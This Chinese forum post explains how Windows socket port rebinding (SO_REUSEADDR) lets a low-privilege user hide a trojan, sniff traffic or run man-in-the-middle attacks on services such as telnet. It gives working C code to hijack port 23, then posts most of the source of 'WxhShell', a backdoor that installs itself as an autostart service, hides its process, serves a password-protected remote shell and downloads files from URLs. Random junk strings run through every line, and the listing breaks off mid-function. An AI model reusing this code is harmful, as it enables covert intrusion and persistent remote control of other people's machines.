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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: x4`|[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O7J V{'?  
a4]=4[(iu>  
  saddr.sin_family = AF_INET; Y$fF"p G?  
r jnf30  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )Q<u0AxAn  
%wGQu;re  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :>jzL8  
%+(fdk-k+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 L9l]0C37e  
6kONuG7Yv  
  这意味着什么?意味着可以进行如下的攻击: fAR 6  
}{[p<pU$C  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ++!0r['+ >  
 ,0i72J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) MB6lKLy6~  
nFefDdP  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @-ir  
"ER= c3 t  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  J6nH|s8  
cA{,2CYc  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \}gITc).j  
Re1}aLd  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 awLSY:JI  
GwG(?_I"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 u~Y+YzCxV  
V9;IH<s:  
  #include |9)y<}c5oM  
  #include _1jeaV9@  
  #include 5X^`qUSv  
  #include    @Dd(  
  DWORD WINAPI ClientThread(LPVOID lpParam);   n ,@ ge  
  int main() 461p4)  
  { ?zYR;r2'b)  
  WORD wVersionRequested; [h.i,%Ua"P  
  DWORD ret; Zj)A%WTD,  
  WSADATA wsaData; kcP&''  
  BOOL val; .|y{1?f_  
  SOCKADDR_IN saddr; #BIY[{!  
  SOCKADDR_IN scaddr; NRs%q}lX  
  int err; OjK+`D_C  
  SOCKET s; Tq%##  
  SOCKET sc; yp pZ@  
  int caddsize; vtq47i  
  HANDLE mt; WmblY2  
  DWORD tid;   vs*@)'n0}  
  wVersionRequested = MAKEWORD( 2, 2 ); xz}=C:s  
  err = WSAStartup( wVersionRequested, &wsaData ); kP&Ekjt@  
  if ( err != 0 ) { LO k J  
  printf("error!WSAStartup failed!\n"); 1R#1Fy%  
  return -1; Enhrkk  
  } zbDK$g6  
  saddr.sin_family = AF_INET; 't475?bY  
   :|=Xh"l"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @[;$R@M_3  
Eq5X/Hx  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0}\8,U  
  saddr.sin_port = htons(23); }jL4F$wC  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ItG|{Bo  
  { djDE0-QxcR  
  printf("error!socket failed!\n"); g7K<"Z {M  
  return -1; Jx8DVjy  
  } Z}>+!Z  
  val = TRUE; ?1H>k<Jp  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 s~I#K[[5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) VWMr\]g  
  { VS+5{w:t  
  printf("error!setsockopt failed!\n");  s)9 sb J  
  return -1; :(4];Va  
  } }vW3<|z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (y2P."  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 mXUe/*r0T  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &G7@lz@sK+  
lH>6;sE  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9YwS"~Q =w  
  { C+-sf  
  ret=GetLastError(); q94*2@KV  
  printf("error!bind failed!\n"); n:JG+1I  
  return -1; *35o$P46  
  } wtfM }MW\  
  listen(s,2); r m dG"s  
  while(1) DE$T1pFV  
  { ;Y$d !an0  
  caddsize = sizeof(scaddr); )GJlQ1x  
  //接受连接请求 5:l"*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2/l4,x  
  if(sc!=INVALID_SOCKET) wKy4Ic+RV  
  { H&0S  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4$4n9`odE  
  if(mt==NULL) .u;'eVH)a}  
  { ^I!gteU;  
  printf("Thread Creat Failed!\n"); iBqIV  
  break; / gE9 W  
  }  w1t0X{  
  } !)uXCg9U  
  CloseHandle(mt); D o!]t7Y$  
  } Q8bn|#`  
  closesocket(s); `,6^eLU  
  WSACleanup(); )h;zH,DA[3  
  return 0; +9_E+H'?!  
  }   }-paGM@'Nd  
  DWORD WINAPI ClientThread(LPVOID lpParam) fq0[7Yb  
  { 13I~   
  SOCKET ss = (SOCKET)lpParam; lziC.Dpa  
  SOCKET sc; ` aaT #r  
  unsigned char buf[4096]; .%mjE'  
  SOCKADDR_IN saddr; i-&"1D[&  
  long num; /S%!{;:  
  DWORD val; |r53>,oR<:  
  DWORD ret; v0 |"[qGb  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "z|%V/2b3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   )auuk<  
  saddr.sin_family = AF_INET; avH3{V  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Bh!J&SM:  
  saddr.sin_port = htons(23); ^r~R]stE^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9;EY3[N  
  {  SwmX_F#_  
  printf("error!socket failed!\n"); aB4L$M8x  
  return -1; @#| R{5=+  
  } QK`2^  
  val = 100; "4i_}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H3q L&xL  
  { :,=Z)e  
  ret = GetLastError(); yykyvy  
  return -1; 7:&a,nU  
  } 8R.`*  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JLV?n,nF  
  { NKw}VW'|  
  ret = GetLastError(); ~sc@49p  
  return -1; |n.ydyu`  
  } 7=]Y7 "XCf  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +@K8:}lOW  
  { Z!qF0UDj  
  printf("error!socket connect failed!\n"); v:@ud,d<  
  closesocket(sc); gPWl#5P:  
  closesocket(ss); Vq#_/23=$y  
  return -1; +PkN~m`  
  } \( xQ'AQ-  
  while(1) 7)a u#K6  
  { Cl3hpqv1I  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q$DF3[NC  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 k3t2{=&'&x  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [0hZg  
  num = recv(ss,buf,4096,0); gc{5/U9H*  
  if(num>0) DX#F]8bWl  
  send(sc,buf,num,0); `z3"zso  
  else if(num==0) BcD%`vGJ  
  break; *g/@-6  
  num = recv(sc,buf,4096,0); 2E}^'o  
  if(num>0) VEg/x z4c  
  send(ss,buf,num,0); @5(HRd  
  else if(num==0) `pd1'5Hm  
  break; 60Obek`  
  } YiPp#0T[Gx  
  closesocket(ss); eE;")t,  
  closesocket(sc); ' k[gxk|d2  
  return 0 ; f*~z|  
  } dCM*4B<  
L\UM12  
4WV)&50  
========================================================== ) XHcrm&  
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下边附上一个代码,,WXhSHELL <0I=XsE1iX  
t ~"DQq E  
========================================================== ]6{\`a  
U9p^?\-=  
#include "stdafx.h" pGGx.&5#82  
hKW!kA =gZ  
#include <stdio.h> ._z[T@!9  
#include <string.h> pvJPMx  
#include <windows.h> S~DY1e54GF  
#include <winsock2.h> 6WnGP>tc.  
#include <winsvc.h> H@WQO]P A  
#include <urlmon.h> uP[:P?,t  
Yhd|1,m9f  
#pragma comment (lib, "Ws2_32.lib") =Z(#j5TGvH  
#pragma comment (lib, "urlmon.lib") Bh,LJawE  
tC -H2@  
#define MAX_USER   100 // 最大客户端连接数 +bK.{1  
#define BUF_SOCK   200 // sock buffer lb('=]3 }H  
#define KEY_BUFF   255 // 输入 buffer i<Be)Y-'  
T"m(V/L$W  
#define REBOOT     0   // 重启 F I\V6\B/  
#define SHUTDOWN   1   // 关机 VG`A* Vj  
>zDnJb&"&  
#define DEF_PORT   5000 // 监听端口 o<-+y\J8K  
D`^9 u K  
#define REG_LEN     16   // 注册表键长度 ?V&[U  
#define SVC_LEN     80   // NT服务名长度 d\ Z#XzI8  
L~FE;*>7  
// 从dll定义API g#ONtY@*U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lC i_G3C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oFRb+H(E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2tqO%8`_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4x:Odt5  
BOp&s>hI  
// wxhshell配置信息 LvNk:99:<  
struct WSCFG { 8Cr?0Z  
  int ws_port;         // 监听端口 v+*l|!v  
  char ws_passstr[REG_LEN]; // 口令 }`9}Q O  
  int ws_autoins;       // 安装标记, 1=yes 0=no XDJQO /qN  
  char ws_regname[REG_LEN]; // 注册表键名 qlg~W/  
  char ws_svcname[REG_LEN]; // 服务名 {9 Op{bZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G{ $Zg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %R{clbbbn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]X)EO49  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^$y_~z3o#7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^OQ#Nz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1v&!`^G99j  
? I}T[j  
}; z {J1pH_X  
r8 M/E lbk  
// default Wxhshell configuration $*H>n!&  
struct WSCFG wscfg={DEF_PORT, jjm-%W@  
    "xuhuanlingzhe", u[oYVpe)IG  
    1, &7X0 ;<  
    "Wxhshell", F#^.L|d4  
    "Wxhshell", ;D[b25  
            "WxhShell Service", jL)aU> kN  
    "Wrsky Windows CmdShell Service", 5\tYs=>b<  
    "Please Input Your Password: ", yXw xq(32  
  1, mlgdwM  
  "http://www.wrsky.com/wxhshell.exe", n6nwda  
  "Wxhshell.exe" F77[fp  
    }; XI,F^K  
ls6ywLP{  
// 消息定义模块 s^9N7'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [zR raG\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JCZJ\f*EZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f(?`PD[  
char *msg_ws_ext="\n\rExit."; |[ |X  
char *msg_ws_end="\n\rQuit."; 'F+O+-p+  
char *msg_ws_boot="\n\rReboot..."; /7h%sCX  
char *msg_ws_poff="\n\rShutdown..."; MT#9x>  
char *msg_ws_down="\n\rSave to "; nZN]Q9  
TR@$$RrU  
char *msg_ws_err="\n\rErr!"; "O|fX\}5  
char *msg_ws_ok="\n\rOK!"; $(}kau  
Y^S0K'N  
char ExeFile[MAX_PATH]; (w% hz']  
int nUser = 0; 9#6ilF:F  
HANDLE handles[MAX_USER]; H$ xSl1>E  
int OsIsNt; tO?*x/XC{  
cVn7jxf  
SERVICE_STATUS       serviceStatus; wR/i+,K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )11/BB\v  
ld[]f*RuW  
// 函数声明 ^m8\fCA*  
int Install(void); ^O\tN\g;c  
int Uninstall(void); aM.l+D P  
int DownloadFile(char *sURL, SOCKET wsh); foE2rV/Y  
int Boot(int flag); :yk Z7X&  
void HideProc(void); i`8!Vm  
int GetOsVer(void); :eQx di'  
int Wxhshell(SOCKET wsl); 3g2t{ %  
void TalkWithClient(void *cs); x)vYc36H  
int CmdShell(SOCKET sock); { Rw~G&vQ  
int StartFromService(void); 8gBqur{  
int StartWxhshell(LPSTR lpCmdLine); +I\ bs.84  
?67j+)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e@^}y4 C  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ieS5*@^k  
'}4[m>/  
// 数据结构和表定义 W {dx\+  
SERVICE_TABLE_ENTRY DispatchTable[] = Z{_'V+Q1  
{ Qn%*kU0X  
{wscfg.ws_svcname, NTServiceMain}, ^#^u90I  
{NULL, NULL} ;N"XW=F4e  
}; L1C' V/g  
[TO:- 8$.  
// 自我安装 3y 3 U`Mo  
int Install(void) ~T4 =Id  
{ Z/x<U.B  
  char svExeFile[MAX_PATH]; *bRH,u  
  HKEY key; xI:;%5{LN  
  strcpy(svExeFile,ExeFile); <J H0 &  
"l +Jx|h\  
// 如果是win9x系统,修改注册表设为自启动 A7b7IM[  
if(!OsIsNt) { )cs y^-qw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QTn-n)AE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~Nc] `95  
  RegCloseKey(key); "hlIGJ?_=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oHi&Z$#!n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `(o1&  
  RegCloseKey(key); c@nl;u)n  
  return 0; X?7$JV-:  
    } U;V. +onv  
  } 'pm2C6AC  
} (vj2XiO^+  
else { zLh ~x  
(c[h,>`@:  
// 如果是NT以上系统,安装为系统服务 *.nqQhW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^*{ xTB57  
if (schSCManager!=0) v@t*iDa?7  
{ 3UN Jj&-`  
  SC_HANDLE schService = CreateService !&'xkw`  
  ( b$Uwj<v  
  schSCManager, %W&=]&L  
  wscfg.ws_svcname, F~l3?3ZV  
  wscfg.ws_svcdisp, ?ST}0F00}  
  SERVICE_ALL_ACCESS, Yaa M-o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q75F^AvH  
  SERVICE_AUTO_START, 09%eaoW  
  SERVICE_ERROR_NORMAL, p6HZ2Q:a  
  svExeFile, ?pF;{  
  NULL, e&0B4wVAQ  
  NULL, zw5~|<  
  NULL, y6PAXvv'{  
  NULL, o$-8V:)6d  
  NULL v\MH;DW^Z  
  ); >$Fc=~;Ba  
  if (schService!=0) mML^kgy\N  
  { #!`zU4&2  
  CloseServiceHandle(schService); IYCKF/2o  
  CloseServiceHandle(schSCManager); s)M2Z3>+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R<U?)8g,h~  
  strcat(svExeFile,wscfg.ws_svcname); 2bxT%xH:g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9lD,aOb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~AE034_N  
  RegCloseKey(key); EhD|\WLx!  
  return 0; 2Qy!Aa  
    } %*19S.=l  
  } }zobIfIF  
  CloseServiceHandle(schSCManager); &J~S  $  
} %~W}262  
} ?&GMp[  
f^%E]ki  
return 1; -91l"sI  
} y2qESAZ%k}  
SY$%!! @R  
// 自我卸载 cLYc""=  
int Uninstall(void) U|Jo[4A  
{ 6/-!oo   
  HKEY key; zEhy0LLm  
#VO2O0GR  
if(!OsIsNt) { :,ym)|YV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wig0OZj  
  RegDeleteValue(key,wscfg.ws_regname); C3b'Q  
  RegCloseKey(key); y\S7oD(OR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5~44R@`  
  RegDeleteValue(key,wscfg.ws_regname); v =?V{"wk!  
  RegCloseKey(key); FI/YJ@21  
  return 0; eY(usK  
  } U1"t|KW8  
} @B'Mu:|f  
} W8P**ze4)  
else { R Nv<kw  
HJ'93,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n5JB'F)  
if (schSCManager!=0) k0YsAa#6V  
{ ILO+=xU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G^(&B30V  
  if (schService!=0) (Dar6>!  
  { NF1D8uI  
  if(DeleteService(schService)!=0) { GVfu_z?  
  CloseServiceHandle(schService); - dOT/%Ux  
  CloseServiceHandle(schSCManager); L$Leo6<3a  
  return 0; ]8_h9ziz  
  } H3c=B /+  
  CloseServiceHandle(schService); w7Pe< vT  
  } x@Y2jM  
  CloseServiceHandle(schSCManager); ,|4Ye  
} wU ; f   
} 1IlR  
O\LW 8\M  
return 1; =k*0O_  
} &S3W/lQs  
|O)deiJRy  
// 从指定url下载文件 "~(&5M\8`  
int DownloadFile(char *sURL, SOCKET wsh) <bx9;1C>zd  
{ <?zTnue  
  HRESULT hr; h/fCCfO,  
char seps[]= "/"; kr*c?^b  
char *token; QB.'8B_  
char *file; {''|iwLr  
char myURL[MAX_PATH]; vaf9b}FL  
char myFILE[MAX_PATH]; YT5>pM-%  
4'd{H Rs  
strcpy(myURL,sURL); #LN I&5  
  token=strtok(myURL,seps); \i,cL)HM  
  while(token!=NULL) rq1kj 8%2  
  { %)/f; T6  
    file=token; ).]m@g:ew  
  token=strtok(NULL,seps); {\aSEE /'  
  } @ |GeR  
jSFN/C.9h  
GetCurrentDirectory(MAX_PATH,myFILE); )T64(_TE  
strcat(myFILE, "\\"); #c^Q<&B  
strcat(myFILE, file);  [;=WnG  
  send(wsh,myFILE,strlen(myFILE),0); Y1 P[^ws  
send(wsh,"...",3,0); |g7h#F~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  i) 2))C  
  if(hr==S_OK) Ft7a\vn*B  
return 0; N-rm k  
else )RYnRC#O  
return 1; H{f_:z{{  
7idi&h"  
} [)3 U])w/  
B (1,Rq[  
// 系统电源模块 <]'"e]  
int Boot(int flag) y^AA#kk  
{ '!-?  
  HANDLE hToken; fl"y@;;#h  
  TOKEN_PRIVILEGES tkp; 9 <KtI7  
O$Vm#|$sq  
  if(OsIsNt) { gFT~\3j p=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t%U[\\ic  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A(n=kx  
    tkp.PrivilegeCount = 1; s\W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M?B(<j1Ri  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IMGqJc,7  
if(flag==REBOOT) { ~B&*7Q7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pIu H*4Vz  
  return 0; uit-Q5@~  
} UNQRtR/  
else { 4*vas]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) be:phS4vz  
  return 0; -L9R&r#_e  
} 8'lhp2#h  
  } DLYZsWA,  
  else { n r>{ uTa  
if(flag==REBOOT) { @LKG\zYBu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _g 4 /%  
  return 0; jAK{<7v4U  
} #tZf>zrs  
else { A'( 7VJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *yaX:,'\$  
  return 0; .gN$N=7<  
} VxN64;|=  
} (b%y$D  
S7kT3zB  
return 1; 9"aFS=><  
} b#g {`E  
P!y`$Ky&  
// win9x进程隐藏模块 yK077zH_  
void HideProc(void) 9*KMbd ^T  
{  |.C    
U+;>S$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f9,EWuQNS  
  if ( hKernel != NULL ) ^QAiySR`0  
  { z8[H:W#G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "PyWo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @%<?GNSO  
    FreeLibrary(hKernel); yvz?4m"_yB  
  } X B*}P  
m*!f%}T  
return; 4C1FPrh  
} k=7Gr;;l=p  
C,r`I/;  
// 获取操作系统版本 h4anr7g{  
int GetOsVer(void) WE[m@K[CR  
{ UQ3@@:L_  
  OSVERSIONINFO winfo; kwHqvO!G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VkpHzr[k  
  GetVersionEx(&winfo); b(RB G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0[lsoYUq  
  return 1;  gt_X AH  
  else A)z PaXZ  
  return 0; ADGnBYE  
} &|N%#pYS  
vWl[l -E  
// 客户端句柄模块 0zbLc%  
int Wxhshell(SOCKET wsl) A=%k/  
{ x pTDYF  
  SOCKET wsh; 6z3T?`}Y  
  struct sockaddr_in client; +~d1 ;0l|  
  DWORD myID; |qlS6Aln  
8lOI\-  
  while(nUser<MAX_USER) w,Z" W;|  
{ 6<Z*Tvk{C  
  int nSize=sizeof(client); PXosFz~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f]8!DXEA  
  if(wsh==INVALID_SOCKET) return 1; ejklpa ./  
$(gGoL<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fpvvV(  
if(handles[nUser]==0) Ad;S=h8:  
  closesocket(wsh); s=N#CE  
else #, Q}NO#vT  
  nUser++; /2e%s:")h  
  } BR36}iS;V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )C {h1 `  
pp~3@_)b  
  return 0; ]4Y/xi-  
} +2DE/wE]e+  
BWUt{,?KU  
// 关闭 socket j1YH9T#|D  
void CloseIt(SOCKET wsh) a@#Q:O)4  
{ ]U,CKJF%/  
closesocket(wsh); f xDj+Q1p  
nUser--; 8xF)_UV  
ExitThread(0); Wp5]Uk  
} P8wy*JvT  
ptpW41t}^  
// 客户端请求句柄 |3{+6cg  
void TalkWithClient(void *cs) lq>pH5x  
{ YwL`>?  
pe()f/Jx(  
  SOCKET wsh=(SOCKET)cs; 2{ o0@  
  char pwd[SVC_LEN]; [ -ISR7D  
  char cmd[KEY_BUFF]; |2)Sd[ q  
char chr[1]; dEASvD'  
int i,j; lC#RNjDp/~  
G02ox5X  
  while (nUser < MAX_USER) { !4R>O6k   
74K)aA  
if(wscfg.ws_passstr) { X JY5@I.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^qxdmMp)l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A&?}w_|9  
  //ZeroMemory(pwd,KEY_BUFF); x;]x_f z  
      i=0; &%^K,Q"  
  while(i<SVC_LEN) { 6eQsoKK  
\M5P+Wk '  
  // 设置超时 Lt1U+o[ot  
  fd_set FdRead; =<{h^-j;a  
  struct timeval TimeOut; )Zas x6`  
  FD_ZERO(&FdRead); vsKl#R B  
  FD_SET(wsh,&FdRead); (I4y[jnD  
  TimeOut.tv_sec=8; v f`9*xF  
  TimeOut.tv_usec=0; P##Z[$IJ3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #?9 Q{0e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <uZPqi||  
S%kS#U${|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); McjS)4j&.  
  pwd=chr[0]; ,"Tjpdf  
  if(chr[0]==0xd || chr[0]==0xa) { y%4 Gp  
  pwd=0; P5xI  
  break; q IM  
  } Z>F@n Tzb>  
  i++; 9x=3W?K:,  
    } &Yp+k}XU  
<_9!  
  // 如果是非法用户,关闭 socket s~^*+kq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); td >,TW=A*  
} .Gh%p`<  
lop uf/U0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xf/m!b"p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fn!SGX~kx$  
ibJl;sJ  
while(1) { 7JI:=yY!>:  
f =o4I2Y[  
  ZeroMemory(cmd,KEY_BUFF); <Nex8fiJ9  
pI>*u ]x  
      // 自动支持客户端 telnet标准   "u;YI=+  
  j=0; vM`7s[oAK  
  while(j<KEY_BUFF) { JSgpb ?(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =}v ;1m  
  cmd[j]=chr[0]; h* s`^W3  
  if(chr[0]==0xa || chr[0]==0xd) { xW>ySEf  
  cmd[j]=0; lkA^\ +Ct  
  break;  \~>e_;  
  } ExCM<$,  
  j++; WL l_'2h  
    } T~X41d\  
q#N R32byF  
  // 下载文件 aG! *WHt  
  if(strstr(cmd,"http://")) { mc ZGg;3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D{p5/#|r  
  if(DownloadFile(cmd,wsh)) dQ9 ah  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); KCUU#t|8V\  
  else *| YU]b;W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sqpGrW.  
  } )11W)G`w  
  else { QR"bYQ  
=&Xdm(  
    switch(cmd[0]) { 0|XKd24BN  
  b`CWp;6Y  
  // 帮助 q[ ULG v  
  case '?': { .:y5U}vR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5 y   
    break; 6Y1J2n"  
  } :CaTP%GW  
  // 安装 (a.1M8v+Sg  
  case 'i': { )eYDQA>J  
    if(Install()) ewnfeg1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rbyY8 bX  
    else "MnSJ 2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )KY:m |Z  
    break; g9KTn4  
    } aMTFW_w  
  // 卸载 ^Kqf ~yS%  
  case 'r': { sDC*J \X  
    if(Uninstall()) eA=WGy@IcN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YEv Lhh  
    else k_aW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _KN/@(+F  
    break; {.CMD9F[  
    } Ei5wel6!  
  // 显示 wxhshell 所在路径 i#W*'   
  case 'p': { 5HKW"=5Cf  
    char svExeFile[MAX_PATH]; .Evy_o\^  
    strcpy(svExeFile,"\n\r"); Izo!rC  
      strcat(svExeFile,ExeFile); %NajFjBI  
        send(wsh,svExeFile,strlen(svExeFile),0); nt ,7u(  
    break; *1^$.Q&  
    } cp6WMHLj   
  // 重启 >72JV; W]  
  case 'b': { 30Drrno7Io  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dE5D3ze  
    if(Boot(REBOOT)) >xg5z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pQWHG#?7  
    else { #NNewzC<*  
    closesocket(wsh); NfzF.{nh  
    ExitThread(0); =o^|bih  
    } WeMAe w/d  
    break; R7?29?$7  
    } A:# k  
  // 关机 DBsDk kB{  
  case 'd': { gfy19c 9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j6g@tx^)'  
